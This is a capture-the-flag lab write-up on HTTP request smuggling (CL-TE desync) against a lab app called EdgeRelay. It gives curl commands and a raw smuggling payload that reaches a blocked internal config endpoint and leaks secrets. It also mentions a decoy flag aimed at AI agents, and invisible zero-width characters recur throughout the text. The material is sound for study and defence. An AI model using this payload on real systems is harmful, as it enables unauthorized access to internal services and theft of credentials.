← Back to Writeups
CUSTOMMediumWeb

Lab 4 — EdgeRelay — HTTP Request Smuggling via CL-TE Desync

XESXOR9/10/20264 min read
#web#custom#medium#cl_te_request_smuggling#content_length_transfer_encodi#internal_endpoint_access#request_pipelining_abuse#security_filter_bypass#linux

Lab 4 — EdgeRelay — HTTP Request Smuggling via CL-TE Desync

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-01 | Status: Solved Techniques: cl_te_request_smuggling, content_length_transfer_encoding_desync, internal_endpoint_access, request_pipelining_abuse, security_filter_bypass

Summary

Task: EdgeRelay CDN platform has a Connection Tester that forwards raw HTTP requests to internal API; /internal/* endpoints are blocked by security filter using Content-Length validation. Solution: CL-TE HTTP request smuggling — send both Content-Length and Transfer-Encoding headers to desync proxy and backend, smuggling a GET /internal/config request inside a legitimate POST body to retrieve the master_api_key flag.

Lab 4 — EdgeRelay — HTTP Request Smuggling via CL-TE Desync

Description

EdgeRelay is a CDN and edge proxy management platform. The application provides domain management, traffic analytics, access logs, cache configuration, and a diagnostics toolkit including a Connection Tester that checks connectivity to backend servers. The objective is to bypass the URL validation in the Connection Tester and access the internal API. The flag is stored as master_api_key in the internal configuration endpoint at /internal/config. Test credentials: user@test.com / password123. Flag format: FLAG{...}. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An Express.js application behind nginx/1.25.5 called EdgeRelay — a CDN and edge proxy management platform. The Diagnostics page contains a Connection Tester that sends raw HTTP requests to an internal API at 127.0.0.1:3000. The security filter blocks requests to /internal/* endpoints and validates Content-Length to prevent smuggling, but does not validate Transfer-Encoding. The goal is to access /internal/config to retrieve the master_api_key.

Target: https://fe655e90-426a-4eec-8989-8c86e7c1e0e1.labs.hackadvisor.io/ Credentials: user@test.com / password123 Stack: nginx/1.25.5, Express.js (Node.js) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Reconnaissance

  1. Logged in with test credentials (user@test.com / password123) to access the EdgeRelay dashboard.
  2. Explored the application — found pages: Dashboard, Domains, Analytics, Access Logs, Diagnostics, Settings.
  3. The Diagnostics page contains a Connection Tester that sends raw HTTP requests to an internal API at 127.0.0.1:3000.
  4. The Connection Tester works via POST /api/connection-test with JSON body {"request": "<raw HTTP request>"}.

Security Policy

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The security policy states:

  • Requests to /internal/* endpoints are blocked by the security filter
  • Only one request per connection is allowed — pipelined requests are rejected
  • Request body boundaries are validated using the Content-Length header to prevent payload smuggling

Available Endpoints

  • /api/health — health check
  • /api/stats — server statistics
  • /api/cache/status — cache status
  • POST /api/analytics — analytics data
  • /internal/* — restricted internal endpoints (blocked by filter) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Observations

  1. The security filter explicitly mentions Content-Length validation but says nothing about Transfer-Encoding — this is a strong hint.
  2. The architecture has two components: a proxy/validator (security filter) and a backend (internal API) — classic setup for HTTP request smuggling.
  3. The HTML source contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} designed to trick automated scanners and AI agents — this is NOT the real flag.

Solution

Attack Vector: CL-TE HTTP Request Smuggling

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The attack exploits a desynchronization between how the proxy (Connection Tester validator) and the backend (internal API) parse HTTP request boundaries:

  • The proxy/validator uses Content-Length to determine where the request body ends
  • The backend uses Transfer-Encoding: chunked to determine where the request body ends

By sending both headers simultaneously, we create a desync where the proxy sees one request but the backend sees two.

Step 1: Authenticate and Get Session

bash
BASE="https://fe655e90-426a-4eec-8989-8c86e7c1e0e1.labs.hackadvisor.io"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

curl -s -c cookies.txt -X POST "$BASE/api/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"email":"user@test.com","password":"password123"}'

Step 2: Craft the CL-TE Smuggling Payload

The smuggling payload sent to /api/connection-test:

POST /api/stats HTTP/1.1\r\n
Host: 127.0.0.1:3000\r\n
Content-Length: 73\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /internal/config HTTP/1.1\r\n
Host: 127.0.0.1:3000\r\n
\r\n

How the desync works:

  1. The proxy/validator sees POST /api/stats — a legitimate endpoint, passes validation ✅
  2. The proxy uses Content-Length: 73 to determine the body size — it considers everything (including the smuggled GET request) as part of the POST body
  3. The proxy forwards the entire raw request to the backend
  4. The backend sees Transfer-Encoding: chunked and reads the chunked body: 0\r\n\r\n (empty chunk = end of body)
  5. The remaining bytes after the chunked body are interpreted by the backend as a new, separate request: GET /internal/config HTTP/1.1
  6. The backend processes both requests and returns both responses ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Execute the Attack

bash
BASE="https://fe655e90-426a-4eec-8989-8c86e7c1e0e1.labs.hackadvisor.io"
PAYLOAD='POST /api/stats HTTP/1.1\r\nHost: 127.0.0.1:3000\r\nContent-Length: 73\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /internal/config HTTP/1.1\r\nHost: 127.0.0.1:3000\r\n\r\n'

curl -s -b cookies.txt -X POST "$BASE/api/connection-test" \
  -H "Content-Type: application/json" \
  -d "{\"request\": \"$PAYLOAD\"}"

Step 4: Response — Two Concatenated HTTP Responses

The backend returns two responses concatenated together: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 17
Connection: keep-alive

{"accepted":true}HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 286
Connection: keep-alive

{
  "service": "edgerelay-core",
  "version": "3.2.1-internal",
  "master_api_key": "FLAG{REDACTED}",
  "cache_backend": "redis://10.0.1.5:6379/0",
  "origin_pool": ["10.0.2.1:8080", "10.0.2.2:8080", "10.0.2.3:8080"],
  "signing_secret": "sk_live_9f8a7b6c5d4e3f2a1b0c",
  "debug_mode": false
}

The first response is from POST /api/stats (the legitimate request), and the second is from the smuggled GET /internal/config containing the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍